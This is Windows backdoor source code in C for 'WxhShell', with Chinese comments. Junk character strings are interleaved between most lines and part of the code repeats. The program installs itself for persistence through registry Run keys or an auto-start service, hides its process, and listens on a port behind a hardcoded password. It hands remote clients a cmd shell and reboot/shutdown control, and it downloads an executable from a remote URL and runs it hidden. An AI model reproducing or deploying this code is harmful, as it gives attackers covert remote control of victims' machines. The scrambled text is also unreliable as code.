\_/l |++\"g HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xmBGZ4f% if(NULL == hInst ) return 0; _2E* :~%{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uo[W|Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r`5svY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *dmS'/ c%vtg.A if (!NtQueryInformationProcess) return 0; -wrVhCd~g] WI}cXXUKm0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LMTz/M if(!hProcess) return 0; /+ Q3JS( ^< wn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s{dgUX 32x[6"T CloseHandle(hProcess); /;clxtus R8C#DB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3+oGR5gIN if(hProcess==NULL) return 0; t5;)<N` uN+]q qCf HMODULE hMod; 28x:]5=jb char procName[255]; RAB'%CY4 unsigned long cbNeeded; ckdXla pi;'! d[l% if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S?<hs,
=>htX(k} CloseHandle(hProcess); r<c&;* $L"h|>b\o if(strstr(procName,"services")) return 1; // 以服务启动 O
8XHaVLg3 L6Io u return 0; // 注册表启动 ODNZLCB~t } 0S2/,[-u+ d3"QCl // 主模块 V_/.]zQA int StartWxhshell(LPSTR lpCmdLine) r t'pc\|O& { 9:,ZG4s SOCKET wsl; :JIJ!Xn) BOOL val=TRUE; zEk/15 int port=0; ve^gzE$<I struct sockaddr_in door; ],s{%a5wC qNi`OVh& if(wscfg.ws_autoins) Install(); z)Lw\H^/ 2{<o1x,Ym port=atoi(lpCmdLine); mI'&!@WG N;gY5;0m if(port<=0) port=wscfg.ws_port; X m3r)Bm'3 JFFluL=- WSADATA data; ]-;MY@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 89Ir}bCr mgMa)yc!dp if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #Q'#/\5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +Jh1D_+!9 door.sin_family = AF_INET; `BVXF#sb door.sin_addr.s_addr = inet_addr("127.0.0.1"); XK&G `cJ[ door.sin_port = htons(port); gI!d*]{BP CaC \\5wl if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +o?;7 closesocket(wsl); +kN,OK~ return 1; dhjX[7Bl9 } _L+j6N.h1 (hEg&@ if(listen(wsl,2) == INVALID_SOCKET) { u\;d^A closesocket(wsl); q%LjOPE
V return 1; [&g"Z" } &\%\"Zh Wxhshell(wsl);
nZ)E @ WSACleanup(); aWPf3Q 8@Bm2?$}g return 0; JIIc4fyy8s W-*HAS } {Fqwr>e K|Eelhm // 以NT服务方式启动 zhJ0to[%? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZZ L@UO>: { `NTtw;%Y DWORD status = 0; UVXSW*$ DWORD specificError = 0xfffffff; S*gm[ZLQ 1[J|AkN serviceStatus.dwServiceType = SERVICE_WIN32; Zl>dBc% serviceStatus.dwCurrentState = SERVICE_START_PENDING; ltlo$`PR serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _a f $0! serviceStatus.dwWin32ExitCode = 0; F-$!e?,H serviceStatus.dwServiceSpecificExitCode = 0; y+Hz(}4 serviceStatus.dwCheckPoint = 0; g/_0WW] } serviceStatus.dwWaitHint = 0; *AP"[W 8t. QFze? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I$MlIz$l v if (hServiceStatusHandle==0) return; .cHkh^EDY `lQ;M?D status = GetLastError(); k~gOL#$ if (status!=NO_ERROR) f%i%QZP { MB7*AA; serviceStatus.dwCurrentState = SERVICE_STOPPED; wZN_YFwQ serviceStatus.dwCheckPoint = 0; $8xb|S[ serviceStatus.dwWaitHint = 0; 7BL)FJ]UR] serviceStatus.dwWin32ExitCode = status; YSB=nd_ serviceStatus.dwServiceSpecificExitCode = specificError; c#>(8#'.U SetServiceStatus(hServiceStatusHandle, &serviceStatus); .#-F@0a return; iPCCTs } Dk>6PBl ":vEWp+g serviceStatus.dwCurrentState = SERVICE_RUNNING; =JW-EQ6[T serviceStatus.dwCheckPoint = 0; ZX64kk+ serviceStatus.dwWaitHint = 0; /s~S\dG if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i#hFpZ6u } hxK;f `CH,QT7e // 处理NT服务事件,比如:启动、停止 0#Lmajs VOID WINAPI NTServiceHandler(DWORD fdwControl) }{VOy PG { I8j:{*h switch(fdwControl) M:{Aq&. { -YAtM-VL case SERVICE_CONTROL_STOP: ~mARgv serviceStatus.dwWin32ExitCode = 0; 9aY8`B serviceStatus.dwCurrentState = SERVICE_STOPPED; V^&*y+ serviceStatus.dwCheckPoint = 0; 8\!E )M|4 serviceStatus.dwWaitHint = 0; &=BzsBh { DrkTM< SetServiceStatus(hServiceStatusHandle, &serviceStatus); a!E22k?((z } iGu%_-S return; vM6W64S case SERVICE_CONTROL_PAUSE: nAEyL+6U serviceStatus.dwCurrentState = SERVICE_PAUSED; V(F9=r<X break; QJRnpN/ case SERVICE_CONTROL_CONTINUE: M|K^u.4 serviceStatus.dwCurrentState = SERVICE_RUNNING; #aU!f"SS break; U`i5B;k}- case SERVICE_CONTROL_INTERROGATE: G:":CX"O( break; a
@2fJ} }; wuA?t SetServiceStatus(hServiceStatusHandle, &serviceStatus); <cp9+P < } ^]nLE]M e))L&s // 标准应用程序主函数 32<D9_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hj9TiH/+ { AtG~!)hG o+A1-&qhN // 获取操作系统版本 > 0MP[ OsIsNt=GetOsVer(); *G>
x07S)~ GetModuleFileName(NULL,ExeFile,MAX_PATH); \X:e9~ L^
J|cgmNw // 从命令行安装 &Mk!qE<:N if(strpbrk(lpCmdLine,"iI")) Install(); eZa*WI= 78uImC*o // 下载执行文件 OL>>/T if(wscfg.ws_downexe) { phuiLW{& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $u!(F]^ WinExec(wscfg.ws_filenam,SW_HIDE); d#rr7O } I?3b}#&V9 N| DI
k if(!OsIsNt) { xo_STLAw // 如果时win9x,隐藏进程并且设置为注册表启动 n[iwi HideProc(); 0\tac/ StartWxhshell(lpCmdLine); 9efDM } h9H z6
> else z4:!*:.Asu if(StartFromService()) ltNCti{Q // 以服务方式启动 l/'GbuECm StartServiceCtrlDispatcher(DispatchTable); wf\"&xwh? else c`!e#w // 普通方式启动 sm/aL^4 StartWxhshell(lpCmdLine); 3U@jw,K!{A j~-N2b6z return 0; k4K.
mlIO } SsZC g#i .5
.(S^u ;'n%\*+fHH t{]Ew4Y4%O =========================================== 6dIPgie3w f8:nKb>nq$ S;% &X I`V<Sh^Qd g-sNYd%?a 6<];}M_{ " 1Toiqb/ Ss>pNH@c #include <stdio.h> F06o-xH= #include <string.h> yJ $6vmQ #include <windows.h> Njc@5*rJ& #include <winsock2.h> TJ"-cWpO1 #include <winsvc.h> 9eMle?pF #include <urlmon.h> <L-F3Buu #rkq
?:Q #pragma comment (lib, "Ws2_32.lib") /+Z*)q+SbT #pragma comment (lib, "urlmon.lib") %bi ie )^ah, ;( #define MAX_USER 100 // 最大客户端连接数 "v1{ #define BUF_SOCK 200 // sock buffer d?fS#Ryb #define KEY_BUFF 255 // 输入 buffer }=-0DSLVj keAoJeG,J #define REBOOT 0 // 重启 9J3fiA_ #define SHUTDOWN 1 // 关机 vjS`;^9 X4V>qHV72 #define DEF_PORT 5000 // 监听端口 +S4n416K i>Q!5 #define REG_LEN 16 // 注册表键长度 ) E^S+ps #define SVC_LEN 80 // NT服务名长度 :ppaq |MwV4^ // 从dll定义API P.]h`4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NrqJf-ldo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AP&//b,^M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (;{X-c}? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ok:uTeJI y :;.r: // wxhshell配置信息 AF'< struct WSCFG { :?Ns>#6t int ws_port; // 监听端口 6
VEB2F char ws_passstr[REG_LEN]; // 口令 t8^1wA@@V int ws_autoins; // 安装标记, 1=yes 0=no Ob$``31{s char ws_regname[REG_LEN]; // 注册表键名 \&Yn)|! char ws_svcname[REG_LEN]; // 服务名 h4;kjr}h} char ws_svcdisp[SVC_LEN]; // 服务显示名 ,H]%4@]|o char ws_svcdesc[SVC_LEN]; // 服务描述信息 }S> 4.8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X1@DI_ int ws_downexe; // 下载执行标记, 1=yes 0=no F&B\ X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nfEbu4| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y]h0c<NP luoQ#1F?sl }; QOWGQl%! '(vZfzc{J // default Wxhshell configuration @:>"VP<( struct WSCFG wscfg={DEF_PORT, \L Q+
n+ "xuhuanlingzhe", ^DYS~I%s 1, AQ,lLn+ "Wxhshell", rB[J*5v "Wxhshell", JEto_&8,C "WxhShell Service", .+:iAnf "Wrsky Windows CmdShell Service", T[\1=h] "Please Input Your Password: ", @v)Z>xv 1, 1:-'euA" "http://www.wrsky.com/wxhshell.exe", `5Y*)
q "Wxhshell.exe" iWCYK7c@.- }; 3xyrWl &S >{9y% // 消息定义模块 VF?H0}YSHb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m+c-"arIpA char *msg_ws_prompt="\n\r? for help\n\r#>"; J M`w6} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3aqH!?rVU char *msg_ws_ext="\n\rExit."; Q|_F
P: char *msg_ws_end="\n\rQuit."; :c*"Dx'D char *msg_ws_boot="\n\rReboot..."; zD{]3pg char *msg_ws_poff="\n\rShutdown..."; Ln>!4i+-B) char *msg_ws_down="\n\rSave to "; &da=hc,>% GHv6UIe& char *msg_ws_err="\n\rErr!"; [Sm<X char *msg_ws_ok="\n\rOK!"; khy'Y&\F; w"R<8e= char ExeFile[MAX_PATH]; Rta}* int nUser = 0; 3%POTAw% HANDLE handles[MAX_USER]; "| '~y}v_ int OsIsNt; -@N-i$!;J 6"-$WUlg SERVICE_STATUS serviceStatus; rL5=8l SERVICE_STATUS_HANDLE hServiceStatusHandle; pCKP{c=6Q OUulG16kK // 函数声明 ASXGM0t int Install(void); H{}&|;0 int Uninstall(void); K=f4<tP_ int DownloadFile(char *sURL, SOCKET wsh); XCM!8x?K int Boot(int flag); T<]{:\*n void HideProc(void); %1#\LRA( int GetOsVer(void); Ca |}i+ int Wxhshell(SOCKET wsl); 5IU!BQU void TalkWithClient(void *cs); )LP'4* int CmdShell(SOCKET sock); Ct=bZW"j/ int StartFromService(void); d@3DsE.{i int StartWxhshell(LPSTR lpCmdLine); 6P{bUom? ucl001EK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v H HgZ VOID WINAPI NTServiceHandler( DWORD fdwControl ); m
H:Un{, S1=P-Ao // 数据结构和表定义 WuK<?1meN SERVICE_TABLE_ENTRY DispatchTable[] = 4?pb!@l { >.wZEQ6QK {wscfg.ws_svcname, NTServiceMain}, W|<c[S {NULL, NULL} kff N0(MR }; ILuQ.VhBVN 5o6IpF0V // 自我安装 YnpN
-Y%g int Install(void) 6mcb'hy { l,|Llb char svExeFile[MAX_PATH]; +P(*S HKEY key; W ^<AUT strcpy(svExeFile,ExeFile); EZ!! V~ 8u*<GbKGI // 如果是win9x系统,修改注册表设为自启动 S257+ K9 if(!OsIsNt) { YKe&Ph. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bd/A0i?C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XL*M#Jx RegCloseKey(key); ~W@dF~r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )?{<Tt@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oti;wf G7o RegCloseKey(key); s_ZPo6p return 0; <0';2yP" } |5flvkid } [P}Bq6;p } L;:|bVH else { %Z6Q/+#fn 'bbw0aB4 // 如果是NT以上系统,安装为系统服务 k _t|)
J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V_3oAu54s{ if (schSCManager!=0) D:k< , { { 1e\cJ{B SC_HANDLE schService = CreateService NLZ5 5yo$ ( |-JG _i schSCManager, :uYZ1O wscfg.ws_svcname, gb,ZN^3<- wscfg.ws_svcdisp, o?ug`m" SERVICE_ALL_ACCESS, wai3g-` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X&[Zk5DU* SERVICE_AUTO_START, /US% s SERVICE_ERROR_NORMAL, <?A4/18K svExeFile, ?Nt( sZ- NULL, jA"}\^%3 NULL, IWYQ67Yj NULL, Kjbk
zc1 NULL, ^m7y=CJM NULL TJYhgna ); i>S@C@~ if (schService!=0) v
RD/67 { ;tQc{8O6L CloseServiceHandle(schService); .?:#<=1 CloseServiceHandle(schSCManager); p+b/k2Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wm1dFf.> strcat(svExeFile,wscfg.ws_svcname); \asn^V@"zz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >4@w|7lS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a)lCp RegCloseKey(key); KxErWP% return 0; :PV3J0pB~ } E3a^"V3p } vcW(?4e CloseServiceHandle(schSCManager); ,i6U* } :YLs]JI< } ty5# a U
_pPI$ = return 1; 'WHI.*= } T0A=vh;S #Ey_.4S // 自我卸载 K91O$'J int Uninstall(void) ?Xpk"N7 { <c5g-*V: HKEY key; MMO/vJC G5|nt#> if(!OsIsNt) { +PBl3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {|$kI`h,3- RegDeleteValue(key,wscfg.ws_regname); aAP86MHO RegCloseKey(key);
cY+fZ= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kXdXyq RegDeleteValue(key,wscfg.ws_regname); pFs/ipZX^* RegCloseKey(key); W
$mw9 return 0; gc I<bY } VI|2vV6? } y%9Hu } #'@@P6o5 else { <iH oNYFbZw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6Ik
v}q_j if (schSCManager!=0) CXGMc)#>f { Hi2JG{i SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _s<BXj if (schService!=0) >B``+Z^2 { pub?% if(DeleteService(schService)!=0) { t(vyi CloseServiceHandle(schService); Bx)!I]gi_ CloseServiceHandle(schSCManager); +t-_FbFh3D return 0; OK-*TPrc } g`Q!5WK* CloseServiceHandle(schService); nxEC6Vh' } mQt0?c _ CloseServiceHandle(schSCManager); n@H;*nI| } InRRcn( } <3ep5` 1 C2b<is=H: return 1; ,ExY.'%1 } 7wY0JS$fz !]fSS)\H // 从指定url下载文件 BbCW3!( int DownloadFile(char *sURL, SOCKET wsh) oV9{{ { [ns==gDD HRESULT hr; 6cjCn char seps[]= "/"; ;jQ^8S char *token; lSoAw-@At8 char *file; .F%jbnKd_ char myURL[MAX_PATH]; }fef* >>} char myFILE[MAX_PATH]; (["V( $
Y~*aA&D strcpy(myURL,sURL); {~#PM>f token=strtok(myURL,seps); pVzr]WFx while(token!=NULL) vxi_Y\r=T { S !lrnH file=token; h3GUFiZ. token=strtok(NULL,seps); 8N |K }
JJs*2y xDPR^xY GetCurrentDirectory(MAX_PATH,myFILE); ={]POL\ A strcat(myFILE, "\\");
V_e strcat(myFILE, file); q<^MC/] send(wsh,myFILE,strlen(myFILE),0); De{ZQg) send(wsh,"...",3,0); QX&Y6CC`] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2 p}I if(hr==S_OK) Brd9"M|d return 0; '-X O;{,-R else @A`j Wao return 1; O:~J_Wwl! /2*BdE[yG } z6,E}Y )J+A2> // 系统电源模块 ^ rUq{ int Boot(int flag) a2]ZYY`R7 { Wi,)a{ HANDLE hToken; FJKlqM5] TOKEN_PRIVILEGES tkp; Jk7 Am-.0 1_;{1O+B if(OsIsNt) { /?b{*<TK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xoGrXt9& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4b,+; tkp.PrivilegeCount = 1; !g)rp`? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=}I=s@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LCzeE7x if(flag==REBOOT) { ~J5B?@2hK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^^n (s_g return 0; ,!PV0(F( } to1r
88X else { jaavh6h) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O
9M?Wk
: return 0; IGlyx'\_ } >pJ#b= } f/\S:x-B else { \[)SK`cwd if(flag==REBOOT) { F!4V!VWA} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y}Dk>IG return 0; }s6Veosl } 2|WM?V& else { ^|hVFM2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u86@zlzd return 0; R9"}-A } c^puz2 } myqwU`s EAxdF
u return 1; + 660/ e8N } PyK!Cyq {X_I>)Wg // win9x进程隐藏模块 0@y`iZ]
1S void HideProc(void) CPeu="[ { xdz 6[8d8 pjoyMHWK HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q
8;JvCz if ( hKernel != NULL ) D@ !r?E` { L<B)BEE. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 19pFNg'kA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F+ RE FreeLibrary(hKernel); VZ">vIRyi| } V\e1NS "68X+! return; Qnt9x,1m_ } h+Yd
\k -Lb7=98 // 获取操作系统版本 H!OX1F int GetOsVer(void) rwio>4= { o~L(;A]yN OSVERSIONINFO winfo; "M\rO!f: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H Vhd#Q; GetVersionEx(&winfo); YK$[)x\S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aSxDfYN=R return 1; :PY6J}: else /lPnf7 return 0; ka ;=%*7T } +{m+aHk u2`j\
Vu // 客户端句柄模块 qN9 ?$\ int Wxhshell(SOCKET wsl) 6BEpnw>p( { ~-uf%= SOCKET wsh; gy~2LY !} struct sockaddr_in client; ) j&khHD DWORD myID; *tk=D sRW \.p;
4V& while(nUser<MAX_USER) /me ]sOkn { RP[`\ int nSize=sizeof(client); KIR3m
) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bg zq if(wsh==INVALID_SOCKET) return 1; 2Ub-ufkU SDNRcSbOD6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U>bIQk"4 if(handles[nUser]==0) BA@M>j6d closesocket(wsh); >9i>A: else :A:7^jrhi nUser++; Kng=v~)N' } A:2CP&* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yV(9@lj3; r!eW]M return 0; &2[Xu4* } ?m7i7Dz
)Y'g; // 关闭 socket Ui9;rh$1eU void CloseIt(SOCKET wsh) ADB)-!$xoi { d)D!np= closesocket(wsh); 02tN=}Cj) nUser--; Mqk|H~l5c ExitThread(0); 9 BU#THDm } Eyk:pnKJb /YU8L // 客户端请求句柄 -%P}LaC< void TalkWithClient(void *cs) Vm8dX? { f}4A,%:1 BhbfPQ SOCKET wsh=(SOCKET)cs; llh
+r? char pwd[SVC_LEN]; kTT%<
e char cmd[KEY_BUFF]; n5BD0q char chr[1]; V
EsM int i,j; Vkd_&z7 3fXrwmBT8 while (nUser < MAX_USER) { \v<S:cTf OT=1doDp
if(wscfg.ws_passstr) { Q)M-f;O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &b*v7c=o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n+Conp/ //ZeroMemory(pwd,KEY_BUFF); _y>drvg i=0; h)j#?\KYm9 while(i<SVC_LEN) { (a-Lx2 T 1=sL[I 7< // 设置超时 0`p"7!r fd_set FdRead; f?GoBh< struct timeval TimeOut; 3&{6+ A FD_ZERO(&FdRead); &2 *
FD_SET(wsh,&FdRead); \T<F#a TimeOut.tv_sec=8; !;[cJbqnh TimeOut.tv_usec=0; $^czqA-& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p}/D{|xO if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a j
.7t=^ mJ5%+.V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DcM/p8da pwd=chr[0]; \dE{[^.5 if(chr[0]==0xd || chr[0]==0xa) { hgE:2@ pwd=0; w\N\J^5,Q break; F6Q%<p a } c'Ibgfx%m i++; 7^M$u\a)U } GVn'p
Wg T@#?{eA // 如果是非法用户,关闭 socket hy%5LV<( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xt"-Jmox } QLHEzEvf{/ gN[t send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n4 N6]W\5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Exky^OT| #<sK3 PT while(1) { 6biR5&Y5U& r%X
M`;bQX ZeroMemory(cmd,KEY_BUFF); g=qaq
3c wBPqH // 自动支持客户端 telnet标准 ! os@G j=0; QV\af while(j<KEY_BUFF) { S'ms>ZENC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KQ81Oxu*C cmd[j]=chr[0]; iPWr- if(chr[0]==0xa || chr[0]==0xd) { Y= =5\;- cmd[j]=0; O#O"]A break; ]$^HGmP } uW#s;1H.) j++; NW3qs`$-( } \ )>#`X 9b,0_IMHH // 下载文件 5=<KA if(strstr(cmd,"http://")) { HyKA+7} send(wsh,msg_ws_down,strlen(msg_ws_down),0); X%(NI(+x, if(DownloadFile(cmd,wsh)) {^uiu^RAc send(wsh,msg_ws_err,strlen(msg_ws_err),0); a;-%C{S9r else dw5"}-D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #9.%>1{6Y } [UC_ else { EEK!'[<,sE AL,7rYZG$ switch(cmd[0]) { JXq!v:w6
dtfOFag4_ // 帮助 :g|NE\z`)/ case '?': { UF }[%Sa send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !]D`|HoW break; +,$pcf<[V } R4JfH // 安装 f>4|>kS case 'i': { h*!oHS~/l if(Install()) PUZcb+%]h send(wsh,msg_ws_err,strlen(msg_ws_err),0); +r;t] else 8Lx1XbwK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5$Kj#9g-# break; CxJ3u } t6mv // 卸载 Z[]8X@IPe case 'r': { rWDD$4y if(Uninstall()) >$-YNZA send(wsh,msg_ws_err,strlen(msg_ws_err),0); LW.j)wB] else Jp}\@T. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oaPWeM+ break; kN{$-v=K } ~I;x_0iY4 // 显示 wxhshell 所在路径 r<:d+5" case 'p': { {7]maOg>7J char svExeFile[MAX_PATH]; \f(zMP strcpy(svExeFile,"\n\r"); i\b^}m8c.N strcat(svExeFile,ExeFile); [XDV-6KCE. send(wsh,svExeFile,strlen(svExeFile),0); :#?_4D!r break; Z}>F
V~4 } vxC];nCC# // 重启 zaLPPm&f case 'b': { :3
Hz!iZM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x0ipk} if(Boot(REBOOT)) FJCORa@?_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sa[lYMuB else { rTVv6:L closesocket(wsh);
+PADy8 ExitThread(0); ~|O; Sdo= } "a~r'+'< break; P!IA;i } T|D^kL%m! // 关机 -C~zvP;a case 'd': { ^0}wmxDq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0#8, (6 if(Boot(SHUTDOWN)) \#) YS send(wsh,msg_ws_err,strlen(msg_ws_err),0); $MwBt else { p3mZw lO closesocket(wsh); -=gI_wLbM ExitThread(0); "T^%HPif } X`WS&!C< break; &I8DK).M+ } h4 9q(085V // 获取shell U!c+i#:t case 's': { 7 L,`7k| CmdShell(wsh); u pUJF`3 closesocket(wsh); E# 8|h( ExitThread(0); }s@IQay+ break; =P9rOK= } J(/J;PW // 退出 $b{8$<;9 case 'x': { -=8f*K[W send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kg>B$fBx) CloseIt(wsh); "j?x gV break; 9e>2kd } lt:&lIW,3 // 离开 cl&?'`
) case 'q': { sH2xkUp send(wsh,msg_ws_end,strlen(msg_ws_end),0); uuF~+=.| closesocket(wsh); DBcR1c&<H WSACleanup(); Ank_;jo exit(1); u1u;aG break; ^q/^.Gf } W?E,"z } G9QvIXRi } .-&
=\}^2l \_R<Q?D+ // 提示信息 N: 38N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Viw,YkC } $E^sA|KcT } :R:@V#Y P{`fav return; )zz{~Cf } eX"Ecl{ +`Nu0y!rj // shell模块句柄 Z+);}>-5 int CmdShell(SOCKET sock) . a @7 { x$ TLj STARTUPINFO si; d$+0;D4E ZeroMemory(&si,sizeof(si)); 3PRU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~-lUS0duh si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #EE<MKka PROCESS_INFORMATION ProcessInfo; =X[?d/[ char cmdline[]="cmd"; )AdwA+-x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wrp+B[{r\ return 0; yW7>5r } ,d_rK\J gjnEN1T22 // 自身启动模式 ZK'WKC int StartFromService(void) 55<!H-zt { o::9M_; typedef struct ;ud"1wH { 4o@:+T:1 DWORD ExitStatus; 5-({z%:P DWORD PebBaseAddress; lAC"7 Z?F DWORD AffinityMask; ks%;_~b DWORD BasePriority; ^
.A ULONG UniqueProcessId; $w-@Oa*h9U ULONG InheritedFromUniqueProcessId; 46 \!W(O~y } PROCESS_BASIC_INFORMATION; a#CjGj) v6uRzFw
PROCNTQSIP NtQueryInformationProcess; gPd, E1Q#@*rX> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W}zq9|p static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rx&.,gzj[ z `\KQx HANDLE hProcess; |{ZdAr.; PROCESS_BASIC_INFORMATION pbi; mO TA 4u41M,nJQd HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wk/Q~o if(NULL == hInst ) return 0; KE5>O1 DOkuT/+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $X\2h+ Os g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NzM ,0q NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sz1 J4$5 oGg<s3;UND if (!NtQueryInformationProcess) return 0; YG0b*QBY~ M5_t#[ [ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z }>;@c if(!hProcess) return 0; 4:b'VHW. itiSZL, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pSYEC,0B fWs*u[S CloseHandle(hProcess); b^}U^2S% TA:#K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JdWav!PYm if(hProcess==NULL) return 0; F1M:"-bda
